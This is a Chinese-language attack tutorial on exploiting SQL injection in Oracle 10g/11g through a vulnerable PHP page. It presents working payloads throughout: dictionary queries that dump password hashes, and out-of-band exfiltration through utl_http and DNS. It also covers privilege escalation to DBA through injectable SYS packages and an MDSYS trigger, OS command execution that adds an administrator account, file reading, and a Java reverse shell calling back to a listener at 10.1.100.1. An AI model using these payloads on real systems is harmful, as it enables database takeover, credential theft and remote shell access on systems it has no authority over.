-
--
list
version select banner from v$version
where
rownum
=
1
;
--
oracle version
-
-
--
list
user select user from dual
;
--
current user select username from user_users
;
--
current user select username from all_users
;
--
all user
,
the current user can see
...
select username from dba_users
;
--
all user
,
need pris
-
-
--
list
role select role from session_roles
;
--
current role
-
-
--
list
privs select privilege from user_sys_privs
;
--
privs the current user has select privilege from role_sys_privs
;
--
privs the current role has select privilege from session_privs
;
--
the all privs that current user has
=
user_sys_privs
+
role_sys_privs select
*
from dba_sys_privs
;
--
all user
'
s privs
,
need privs
-
-
--
list
password hash select name
,
password
,
astatus from sys
.
user$
;
--
password hash
<=
10g
,
need privs select name
,
password
,
spare4 from sys
.
user$
;
--
password has
11g
,
need privs
-
-
--
list
database select global_name from global_name
;
--
current database select sys
.
database_name from dual
;
--
current database select name from v$database
;
--
current database name
,
need privs select instance_name from v$instance
;
--
current database name
,
need privs
-
-
--
list
schemas select distinct owner from all_tables
;
--
all schema
-
-
--
list
tables select table_name from all_tables
where
owner
=
'xxx'
;
--
all table name
-
-
--
list
columns select owner
,
table_name
,
column_name from all_tab_columns
where
table_name
=
'xxx'
;
select owner
,
table_name
,
column_name from all_tab_cols
where
table_name
=
'xxx'
;
0x0 前言
本文主要讨论如何通过一个sql inject 来最大限度的取得各种信息和权限,测试数据库分别为:Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 和Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 ,默认是 Oracle Database 10g Enterprise Edition Release 10.2.0.1.0
0x1 信息刺探
通常刷到一个sql inject 之后,一般步骤都是查找敏感信息,oracle自带了很多数据字典,可以很方便查找信息
一般思路就是检索schema->table->column ,然后就查询相关信息。这里介绍怎么样通过web来hack oracle,首先简单的描述一下在oracle 下如何高效的获取信息,下面这个是测试代码,本文通用代码
-
<?
php
-
//
error_reporting
(
0
);
//
do
not
display error info
-
//
include_once
(
'db.php'
);
-
$dbuser
=
'hellove'
;
-
$dbpass
=
'hellove'
;
-
$db
=
''
;
-
echo
"<h3>Welcome to sql inject world!!! </h3>"
;
-
$conn
=
oci_connect
(
$dbuser
,
$dbpass
,
$db
);
-
-
//
get some data
from
mynew
;
-
if
(
empty
(
$_GET
[
'id'
]))
-
$_GET
[
'id'
]
=
1
;
-
$stmt
=
oci_parse
(
$conn
,
"select id,content from mynews where id = "
.
$_GET
[
'id'
]);
-
oci_execute
(
$stmt
);
-
oci_commit
(
$conn
);
-
-
$nrows
=
oci_fetch_all
(
$stmt
,
$results
);
-
-
if
(
$nrows
>
0
)
{
-
echo
"<table border=\"1\">"
;
-
echo
"<tr>"
;
-
foreach
(
$results
as
$key
=>
$val
)
{
-
echo
"<th>$key</th>"
;
-
}
-
echo
"</tr>"
;
-
-
for
(
$i
=
0
;
$i
&
lt
;
$nrows
;
$i
++)
{
-
echo
"<tr><br />"
;
-
foreach
(
$results
as
$data
)
{
-
echo
"<td>$data[$i]</td>"
;
-
}
-
echo
"</tr>"
;
-
}
-
echo
"</table>"
;
-
-
-
}
else
{
-
echo
"No data found<br />"
;
-
}
-
echo
"$nrows Records Selected<br />"
;
-
-
oci_free_statement
(
$stmt
);
-
oci_close
(
$conn
);
-
-
?>
假定上面的代码是http://www.hellove.net/hellove.php,变量id将会导致注入. 在这里很明显的可以用union来获取信息,不过我们还是介绍一点oracle独有的获取信息的方法吧
-
utl_http
.
request
-
-
local
:
nc
.
traditional
-
l
-
p
1234
-
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and 1=utl_http.request('http://10.1.100.1/'||(SQL in HERE))
utl_inaddr
.
get_host_name
-
-
error base
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and 1=utl_inaddr.get_host_name((SQL in HERE))
utl_inaddr
.
get_host_address
-
-
error base or dns
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and 1=utl_inaddr.get_host_address((SQL in HERE))
ctxsys
.
drithsx
.
sn
-
-
error base
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and 1=ctxsys.drithsx.sn(1,(SQL in HERE))
sys
.
dbms_ldap
.
init
-
-
dns
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and SYS.DBMS_LDAP.INIT(((SQL in HERE)||'hellove.net',80) is not null
utl_http.request,utl_inaddr.get_host_name,utl_inaddr.get_host_address 由于11g的安全特性无法继续使用,但是我们 可以在显错模式下利用ctxsys.drithsx.sn,或者自己搭建一个dnsserver,将一个域名的解析server指向该server,利用 sys.dbms_ldap.init 还可以在11g下正常工作
0x2 权限提升
在这里假设我们得到的这个注射点所在的用户的拥有的权限很小,仅有create session或者其他权限,也假设我们并没有足够走运 能够注射到pl/sql语句中,仅仅是一个普普通通的注射点,这个时候我们就要想想如何提权了,所以本小结的主题是如何让我们现在 的用户成为dba,let’s begin
DBMS_EXPORT_EXTENSION 现在我们来关注一下DBMS_EXPORT_EXTENSION这个包,这个包在06年7月之前存在3个危险函 数,get_domain_index_metadata, get_v2_domain_index_tables,get_domain_index_tables,这三个函数sys定义,默认都是 definer right ,oracle的初次 修复方案很友爱,前两个函数都修得差不多了,但是第三个在10g r2未打补丁的情况下,还存在着,让我们看一下这个函数的代码
-
FUNCTION GET_DOMAIN_INDEX_TABLES
(
-
INDEX_NAME IN VARCHAR2
,
-
INDEX_SCHEMA IN VARCHAR2
,
-
TYPE_NAME IN VARCHAR2
,
-
TYPE_SCHEMA IN VARCHAR2
,
-
READ_ONLY IN PLS_INTEGER
,
-
VERSION IN VARCHAR2
,
-
GET_TABLES IN PLS_INTEGER
)
-
RETURN VARCHAR2 IS
-
-
CRS INTEGER
:=
DBMS_SQL
.
OPEN_CURSOR
;
-
DUMMY INTEGER
;
-
RETVAL INTEGER
;
-
STMTSTRING VARCHAR2
(
3901
);
-
COMPILE_ERROR EXCEPTION
;
-
PRAGMA EXCEPTION_INIT
(
COMPILE_ERROR
,
-
6550
);
-
-
BEGIN
-
IF GET_TABLES
=
1
THEN
-
GETTABLENAMES_CONTEXT
:=
0
;
-
-
STMTSTRING
:=
-
'DECLARE '
||
-
'oindexinfo ODCIIndexInfo := ODCIIndexInfo('
||
-
''''
||
SYS
.
DBMS_ASSERT
.
SCHEMA_NAME
(
INDEX_SCHEMA
)||
''','''
||
-
SYS
.
DBMS_ASSERT
.
SIMPLE_SQL_NAME
(
INDEX_NAME
)||
''', '
||
-
'ODCIColInfoList(), NULL, 0, 0); '
||
-
-
'BEGIN '
||
-
':p1 := "'
||
SYS
.
DBMS_ASSERT
.
SCHEMA_NAME
(
TYPE_SCHEMA
)
||
'"."'
||
-
SYS
.
DBMS_ASSERT
.
SIMPLE_SQL_NAME
(
TYPE_NAME
)
||
-
'".ODCIIndexUtilGetTableNames(oindexinfo,:p2,:p3,:p4); '
||
-
'END;'
;
-
DBMS_SQL
.
PARSE
(
CRS
,
STMTSTRING
,
DBMS_SYS_SQL
.
V7
);
-
DBMS_SQL
.
BIND_VARIABLE
(
CRS
,
':p1'
,
STMTSTRING
,
3901
);
-
DBMS_SQL
.
BIND_VARIABLE
(
CRS
,
':p2'
,
READ_ONLY
);
-
DBMS_SQL
.
BIND_VARIABLE
(
CRS
,
':p3'
,
VERSION
,
20
);
-
DBMS_SQL
.
BIND_VARIABLE
(
CRS
,
':p4'
,
GETTABLENAMES_CONTEXT
);
-
DUMMY
:=
DBMS_SQL
.
EXECUTE
(
CRS
);
-
DBMS_SQL
.
VARIABLE_VALUE
(
CRS
,
':p1'
,
STMTSTRING
);
-
DBMS_SQL
.
VARIABLE_VALUE
(
CRS
,
':p4'
,
GETTABLENAMES_CONTEXT
);
-
DBMS_SQL
.
CLOSE_CURSOR
(
CRS
);
-
ELSE
-
STMTSTRING
:=
-
'BEGIN '
||
-
'"'
||
TYPE_SCHEMA
||
'"."'
||
TYPE_NAME
||
-
'".ODCIIndexUtilCleanup(:p1); '
||
-
'END;'
;
-
DBMS_SQL
.
PARSE
(
CRS
,
STMTSTRING
,
DBMS_SYS_SQL
.
V7
);
-
DBMS_SQL
.
BIND_VARIABLE
(
CRS
,
':p1'
,
GETTABLENAMES_CONTEXT
);
-
DUMMY
:=
DBMS_SQL
.
EXECUTE
(
CRS
);
-
DBMS_SQL
.
CLOSE_CURSOR
(
CRS
);
-
STMTSTRING
:=
''
;
-
-
END IF
;
-
-
RETURN STMTSTRING
;
-
-
EXCEPTION
-
WHEN COMPILE_ERROR THEN
-
DECLARE
-
ERR_MSG VARCHAR2
(
520
);
-
BEGIN
-
DBMS_SQL
.
CLOSE_CURSOR
(
CRS
);
-
ERR_MSG
:=
SQLERRM
(-
6550
);
-
-
IF INSTR
(
ERR_MSG
,
'PLS-00302'
)
!=
0
THEN
-
-
RETURN
''
;
-
ELSE
-
RAISE
;
-
-
END IF
;
-
END
;
-
-
WHEN OTHERS THEN
-
DBMS_SQL
.
CLOSE_CURSOR
(
CRS
);
-
RAISE
;
-
-
END GET_DOMAIN_INDEX_TABLES
;
我们可以看到当GET_TABLES=1时,这代码无懈可击,但是当GET_TABLES=0时,TYPE_SCHEMA和TYPE_NAME就是注入点啊!突然觉得oracle觉得好可爱,这里我们就拿get_domain_index_tables演示
web
:
http
:
//www.hellove.net/hellove.php?id=123 and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH','DBMS_OUTPUT".PUT(:P1);execute immediate ''declare pragma autonomous_transaction; begin execute immediate ''''grant dba to hellove''''; end;''; END;--','SYS',1,'1',0)=0;
注射到第三参TYPE_NAME,熟悉pl/sql的都应该了解上面在干嘛:) 不过这个包的三个函数在06年7月之后就被修复了,也就是说 oracle 11g就不能再用了
-
dbms_xmlquery
.
newcontext
与
dbms_xmlquery
.
getxml
我本来是还要写hacking oracle with pl/sql的,不过被这两个函数直接灭掉我这想法,这两个函数使得之前我以为仅能在pl/sql环境下利用的 漏洞,在web下也能利用了
-
dbms_xmlquery
.
getxml
()
public
role
-
dbms_xmlquery
.
newcontext
()
public
role
-
sys
.
kupp$proc
.
create_mater_process
()
dba role
这三个函数都可以直接执行PL/SQL语句,定义为invoker right ,所以使得之前只能在pl/sql环境中使用的漏洞,现在在web环境中也可以使用了,这三个函数应该都不算是存在漏洞,只能说是特性而已,后期会经常使用,现在提及一下
-
DBMS_JVM_EXP_PERMS
DBMS_JVM_EXP_PERMS这个包比较好玩,纯粹是逻辑型的漏洞,所需的权限非常小,只要有create session就可以了,只可惜DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS不能在web环境中直接调用,作者给的poc能 使我们的用户直接得到Java权限
-
DECLARE
-
POL DBMS_JVM_EXP_PERMS
.
TEMP_JAVA_POLICY
;
-
CURSOR C1 IS SELECT
'GRANT'
,
USER
(),
'SYS'
,
'java.io.FilePermission'
,
'<<ALL FILES>>'
,
'execute'
,
'ENABLED'
from dual
;
-
BEGIN
-
OPEN C1
;
-
FETCH C1 BULK COLLECT INTO POL
;
-
CLOSE C1
;
-
DBMS_JVM_EXP_PERMS
.
IMPORT_JVM_PERMS
(
POL
);
-
END
;
个人PL/SQL编程技术有限,尝试将上述poc用dbms_xmlquery.newcontext结合利用,不晓得为什么oracle老是提示 ORA-03113: end-of-file on communication channel ,只能创建个函数,然后在通过函数进行利用,唉,结果又必须多一个create procedure权限才能利用 作者这个很厉害的漏洞,下面是我的代码
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;
-
begin execute immediate
''
create or replace function myjava
return
number is PRAGMA AUTONOMOUS_TRANSACTION
;
-
begin execute immediate
''''
DECLARE POL DBMS_JVM_EXP_PERMS
.
TEMP_JAVA_POLICY
;
CURSOR C1 IS
-
SELECT
''''''''
GRANT
''''''''
,
USER
(),
''''''''
SYS
''''''''
,
''''''''
java
.
io
.
FilePermission
''''''''
,
-
''''''''
&
lt
;&
lt
;
ALL FILES
&
gt
;&
gt
;
''''''''
,
''''''''
execute
''''''''
,
''''''''
ENABLED
''''''''
from dual
;
BEGIN OPEN C1
;
-
FETCH C1 BULK COLLECT INTO POL
;
CLOSE C1
;
DBMS_JVM_EXP_PERMS
.
IMPORT_JVM_PERMS
(
POL
);
END
;
''''
;
commit
;
return
1
;
end
;
''
;
-
commit
;
end
;
')
is not null
-
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and myjava()=1
由于The 11.2.0.1 April CPU patch fixes this,我的11g就没有测试成功,至于这个java.io的权限有什么用,后面再说, 反正先刷到一个权限再说
LT.FINDRICSET first to first,看一下这个漏洞过程的代码
-
PROCEDURE FINDRICSET
(
TABLE_NAME VARCHAR2
,
RESULT_TABLE VARCHAR2 DEFAULT
''
)
-
IS
-
TABOWNER VARCHAR2
(
100
);
-
TABNAME VARCHAR2
(
100
);
-
RESOWNER VARCHAR2
(
100
);
-
RESNAME VARCHAR2
(
100
);
-
BEGIN
-
SYS
.
LT_CTX_PKG
.
SETUSER
;
-
-
TABOWNER
:=
NVL
(
SUBSTR
(
UPPER
(
TABLE_NAME
),
1
,
INSTR
(
TABLE_NAME
,
'.'
)-
1
),
SYS_CONTEXT
(
'lt_ctx'
,
'current_schema'
));
-
TABNAME
:=
SUBSTR
(
UPPER
(
TABLE_NAME
),
INSTR
(
TABLE_NAME
,
'.'
)+
1
);
-
-
IF
(
RESULT_TABLE IS NOT NULL
)
THEN
-
RESOWNER
:=
NVL
(
SUBSTR
(
UPPER
(
RESULT_TABLE
),
1
,
INSTR
(
RESULT_TABLE
,
'.'
)-
1
),
SYS_CONTEXT
(
'lt_ctx'
,
'current_schema'
));
-
RESNAME
:=
SUBSTR
(
UPPER
(
RESULT_TABLE
),
INSTR
(
RESULT_TABLE
,
'.'
)+
1
);
-
END IF
;
-
-
IF
(
RESULT_TABLE IS NOT NULL AND
-
NOT HASOUTPUTTABPRIVS
(
RESOWNER
,
RESNAME
)
)
THEN
-
SYS
.
WM_ERROR
.
RAISEERROR
(
SYS
.
LT
.
WM_ERROR_171_NO
,
'insufficient privileges on the result table'
);
-
END IF
;
-
-
SYS
.
LTRIC
.
FINDRICSET
(
TABOWNER
,
TABNAME
,
RESOWNER
,
RESNAME
);
-
-
-
END
;
粗略看一下似乎没什么问题,可是这个函数又调用了SYS.LTRIC.FINDRICSET,而SYS.LTRIC.FINDRICSET中存在注 入,但是SYS.LTRIC.FINDRICSET 是不能被public角色调用,LT.FINDRICSET可以被public 角色调用,所以归为LT.FINDRICSET漏洞,再让我们看一下SYS.LTRIC.FINDRICSET的代码
-
PROCEDURE FINDRICSET
(
IN_TABLE_OWNER VARCHAR2
,
IN_TABLE_NAME VARCHAR2
,
-
RESULT_TABLE_OWNER VARCHAR2
,
RESULT_TABLE VARCHAR2
)
-
.....省略
-
EXECUTE IMMEDIATE
'insert into wmsys.wm$ric_set_in values ( '''
||
IN_TABLE_OWNER
||
''','''
||
IN_TABLE_NAME
||
''' )'
;
我们看到了IN_TABLE_NAME 和 IN_TABLE_OWNER 可以注入,但是IN_TABLE_NAME与IN_TABLE_OWNER都是由LT.FINDRICSET中的参数TABLE_NAME 所产生,所以我们可以用LT.FINDRICSET的第一参来进行注入,尝试结合dbms_xmlquery.newcontext(这样就无需 create procedure),结果因为 字数限制而失败了,下面给出利用方法,需要有create procedure的权限
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;
-
begin execute immediate
''
create or replace function get_dba
return
varchar2 authid current_user is PRAGMA
-
autonomous_transaction
;
BEGIN execute immediate
''''
grant dba to hellove
''''
;
commit
;
return
''''
z
''''
;
END
;
''
;
commit
;
end
;
')
-
from dual
)
is not null
-
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA
-
AUTONOMOUS_TRANSACTION
;
begin sys
.
lt
.
findricset
(
''
A
.
A
''''
||
hellove
.
get_dba
)--
''
,
''
BBBB
''
);
commit
;
end
;
')
from dual
)
is not
-
null
上面两行代码是在web环境下使用的代码,pl/sql中更为简单,就不必演示了
-
MDSYS
.
SDO_DROP_USER_BEFORE
之前的DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES属于函数注 入,SYS.LTRIC.FINDRICSET属于过程注入,DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS逻辑问题 现在我们要介绍一个更为好玩的MDSYS.SDO_DROP_USER_BEFORE触发器,MDSYS模式下的 SDO_DROP_USER_BEFORE,TRIGGER是以definer rigth来执行的,虽然MDSYS没有多大的权限 但是先让我们能够在MDSYS下执行任意命令,先看MDSYS.SDO_DROP_USER_BEFORE的代码
-
trigger sdo_drop_user_before
-
before drop on DATABASE
-
declare
-
stmt varchar2
(
200
);
-
rdf_exception EXCEPTION
;
pragma exception_init
(
rdf_exception
,
-
20000
);
-
BEGIN
-
if
dictionary_obj_type
=
'USER'
THEN
-
BEGIN
-
EXECUTE IMMEDIATE
-
'begin '
||
-
'mdsys.rdf_apis_internal.'
||
-
'notify_drop_user('''
||
-
dictionary_obj_name
||
'''); '
||
-
'end;'
;
-
EXCEPTION
-
WHEN rdf_exception THEN RAISE
;
-
WHEN OTHERS THEN NULL
;
-
END
;
-
end
if
;
-
end
;
dictionary_obj_name处可以注入,我们可以尝
-
SQL
>
set
serveroutput on
-
SQL
>
drop user
"t');dbms_output.put_line('test"
;
-
test
-
drop user
"t');dbms_output.put_line('test"
-
*
-
ERROR at line
1
:
-
ORA
-
01918
:
user
't'
);
dbms_output
.
put_line
(
'test'
does not exist
相当无语,不过还是因为字数限制,不能利用dbms_xmlquery.getxml来实现无需create procedure,必须创建个过程,但是由于所在模式为MDSYS 不是dba,我们不能利用MDSYS直接获取dba权限,但是MDSYS拥有create any trigger的权限,所以我们可以利用MDSYS在system下 创建一个trigger,trigger是authid current_user,所以我们要利用trigger来在system权限下执行命令,然后我们再触发这个trigger,就可以 在system下执行代码了,talk is cheap,show me the code,直接放代码吧
-
create or replace procedure g
(
v varchar2
)
authid current_user is
-
PRAGMA AUTONOMOUS_TRANSACTION
;
-
stmt varchar2
(
400
)
:=
'create or replace trigger '
-
||
'system.evil_trigger '
-
||
'before insert on '
-
||
'system.OL$ '
-
||
'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;'
-
||
'BEGIN execute immediate ''grant dba to hellove'';END evil_trigger;'
;
-
begin
-
execute immediate stmt
;
-
commit
;
-
end
;
我们先创建一个过程g(名字要短),方便注射到MDSYS.SDO_DROP_USER_BEFORE中,然后将g的执行权限赋给public,在过程g中,我们创建 一个在system模式OL$的trigger,代码如上
-
drop user
"g');hellove.g('"
;
-
insert into system
.
OL$
(
OL_NAME
)
values
(
'test'
);
-
set
role dba
删除用户将触发触发器MDSYS.sdo_drop_user_before,注入代码以MDSYS模式下执行,而MDSYS可以create any trigger,所以我们利用MDSYS 创建system.OL$下的一个trigger,之所以是system.OL$,是因为public用户可以往里面插入数据而触发触发器,然后由于触发 器是以definer来 运行的,所以创建的system.evil_trigger就以sysem的权限下加用户了,以上代码还是可以结合 dbms_xmlquery.getxml来使用,请自行构造
简单分析了几个漏洞,由于oracle类似的漏洞太多了,不大可能一一分析,所以本小结到这就结束了
0x3 执行命令
下面的章节都假定我们已经获得了很高的权限,接下来我们的target就转移到了os,下面我们来讲一下如何在pl/sql中执行os命令
-
create or replace library exec_shell as
'$ORACLE_HOME\bin\msvcrt.dll'
;
-
create or replace procedure execmd
(
command in
char
)
is external name
"system"
library exec_shell language c
;
-
/
-
-
exec execmd
(
'net user > hellove.txt'
);
直接照这上面的操作是必定会失败的,因为$ORACLE_HOME\bin\下压根就没msvcrt.dll,long long ago是可以用绝对地址”c:\windows\system32\msvcrt.dll”,或者用路径回溯”……\windows\system32 \msvcrt.dll”来执行command的,不过在oracle 10gr2已经不行了,所以测试这个 代码的时候我是直接把msvcrt.dll复制到$ORACLE_HOME\bin\下,面对这种情况,我们可以利用PL/SQL来复制 msvcrt.dll,或者用JAVA来执行命 令,我比较偏爱JAVA :)
-
create or replace and resolve java source named JAVACMD as
-
import
java
.
lang
.*;
-
import
java
.
io
.*;
-
public
class
JAVACMD
-
{
-
public
static
void
execmd
(
String
command
)
throws
IOException
-
{
-
Runtime
.
getRuntime
().
exec
(
command
);
-
}
-
}
-
-
create or replace procedure MYJAVACMD
(
command in varchar
)
as language java
-
name
'JAVACMD.execmd(java.lang.String)'
;
不过在执行这个MYJAVACMD之前必须将相应的JAVA权限赋予用户,之前提到的DBMS_JVM_EXP_PERMS就可以给用户赋予任意java权限,简单起见,我们直接赋予
-
exec dbms_java
.
grant_permission
(
'HELLOVE'
,
'SYS:java.io.FilePermission'
,
'<<ALL FILES>>'
,
'execute'
);
-
exec MYJAVACMD
(
'net user'
);
突然发现我的题目是hacking oracle with sql inject,不是with pl/sql...让我们简单结合dbms_xmlquery.newcontext来在web下使用
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;
-
begin execute immediate
''
create or replace and resolve java source named JAVACMD as
import
java
.
lang
.*;
import
java
.
io
.*;
public
-
class
JAVACMD
{
public
static
void
execmd
(
String
command
)
throws
IOException
{
Runtime
.
getRuntime
().
exec
(
command
);}}
''
;
commit
;
-
end
;
')
from dual
)
is not null
-
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;
-
begin execute immediate
''
create or replace procedure MYJAVACMD
(
command in varchar
)
as language java name
-
''''
JAVACMD
.
execmd
(
java
.
lang
.
String
)
''''
;
''
;
commit
;
end
;
')
from dual
)
is not null
-
-
web
:
http
:
//www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('begin myjavacmd(''net user admin admin /add'')
-
;
commit
;
end
;
') from dual) is not null
由于用了dbms_xmlquery.newcontext之后,代码就惨不忍睹了,下面几篇就不结合dbms_xmlquery.newcontext来使用了,反正都懂的 :)
0x4 文件系统
下面我们将利用pl/sql来读取文件,其实获取dba权限之后,怎么样对系统进行操作完全就是个人pl/sql或java水平的体现
-
create or replace procedure read_file
(
dirname varchar2
,
fname varchar2
)
as
-
FD utl_file
.
file_type
;
-
buffer varchar2
(
200
);
-
begin
-
execute immediate
'create or replace directory rw_file as '''
||
dirname
||
''''
;
-
FD
:=
utl_file
.
fopen
(
'RW_FILE'
,
fname
,
'r'
);
-
dbms_output
.
enable
(
100000
);
-
loop
-
sys
.
utl_file
.
get_line
(
FD
,
buffer
);
-
dbms_output
.
put_line
(
buffer
);
-
end loop
;
-
execute immediate
'drop directory rw_file'
;
-
-
exception
-
when NO_DATA_FOUND then
-
dbms_output
.
put_line
(
'---|---|---|file end!---|---|---|---|'
);
-
when others then
-
dbms_output
.
put_line
(
'please check your file'
);
-
end read_file
;
-
/
-
exec read_file
(
'c:\','
boot
.
ini
');
上面是PL/SQL代码来读取文件,下面是利用JAVA来读取文件内容
-
create or replace and compile java source named javareadfile as
-
import
java
.
lang
.*;
-
import
java
.
io
.*;
-
public
class
javareadfile
-
{
-
public
static
void
readfile
(
String
filename
)
throws
IOException
-
{
-
FileReader
f
=
new
FileReader
(
filename
);
-
BufferedReader
fr
=
new
BufferedReader
(
f
);
-
String
text
=
fr
.
readLine
();
-
while
(
text
!=
null
)
-
{
-
System
.
out
.
println
(
text
);
-
text
=
fr
.
readLine
();
-
}
-
fr
.
close
();
-
}
-
}
-
-
create or replace procedure jreadfile
(
filename in varchar
)
-
as language java
-
name
'javareadfile.readfile(java.lang.String)'
;
-
-
exec jreadfile
(
'c:\boot.ini'
);
我们还是可以利用之前的那个DBMS_JVM_EXP_PERMS获取java.io.FilePermission,可以简单读取文件
0x5 访问网络
在PL/SQL中我们可以利用oracle自带的那几个包(utl_tcp,utl_http…etc)来访问网络,自我感觉不怎么好用,比较喜欢用java, 下面我们来实现一个简易的java版本反向后门
-
create or replace and compile java source named javasocket as
-
import
java
.
net
.*;
-
import
java
.
io
.*;
-
import
java
.
lang
.*;
-
-
public
class
javasocket
-
{
-
public
static
void
test
(
String
addr
,
String
str_port
)
-
{
-
Socket
socket
;
-
String
len
;
-
String
s
;
-
InputStream
Is
;
-
OutputStream
Os
;
-
DataInputStream
DIS
;
-
PrintStream
PS
;
-
-
try
{
-
socket
=
new
Socket
(
addr
,
Integer
.
parseInt
(
str_port
));
-
Is
=
socket
.
getInputStream
();
-
Os
=
socket
.
getOutputStream
();
-
DIS
=
new
DataInputStream
(
Is
);
-
PS
=
new
PrintStream
(
Os
);
-
-
while
(
true
){
-
s
=
DIS
.
readLine
();
-
if
(
s
.
trim
().
equals
(
"BYE"
))
break
;
-
-
try
{
-
Runtime
rt
=
Runtime
.
getRuntime
();
-
Process
p
=
null
;
-
p
=
rt
.
exec
(
s
);
-
s
=
null
;
-
BufferedReader
br
=
new
BufferedReader
(
new
InputStreamReader
(
p
.
getInputStream
()));
-
String
msg
=
null
;
-
while
((
msg
=
br
.
readLine
())!=
null
){
-
msg
+=
"\n"
;
-
s
+=
msg
;
-
}
-
br
.
close
();
-
}
-
catch
(
Exception
e
)
-
{
-
s
=
"Please check your command!"
;
-
}
-
-
PS
.
println
(
s
);
-
}
-
-
DIS
.
close
();
-
PS
.
close
();
-
Is
.
close
();
-
Os
.
close
();
-
socket
.
close
();
-
}
-
catch
(
Exception
e
)
-
{
-
System
.
out
.
println
(
"Error:"
+
e
);
-
}
-
}
-
-
-
}
-
-
create or replace procedure myjavasocket
(
address in varchar
,
port in varchar
)
as language java
-
name
'javasocket.test(java.lang.String,java.lang.String)'
;
执行myjavasocket
-
exec myjavasocket
(
'10.1.100.1'
,
'9999'
);
-
-
local
:
nc
-
l
-
p
9999
这样就可以得到了一个交互的shell了,不过有些不是exe文件的比如dir就得输入cmd.exe /c dir 来运行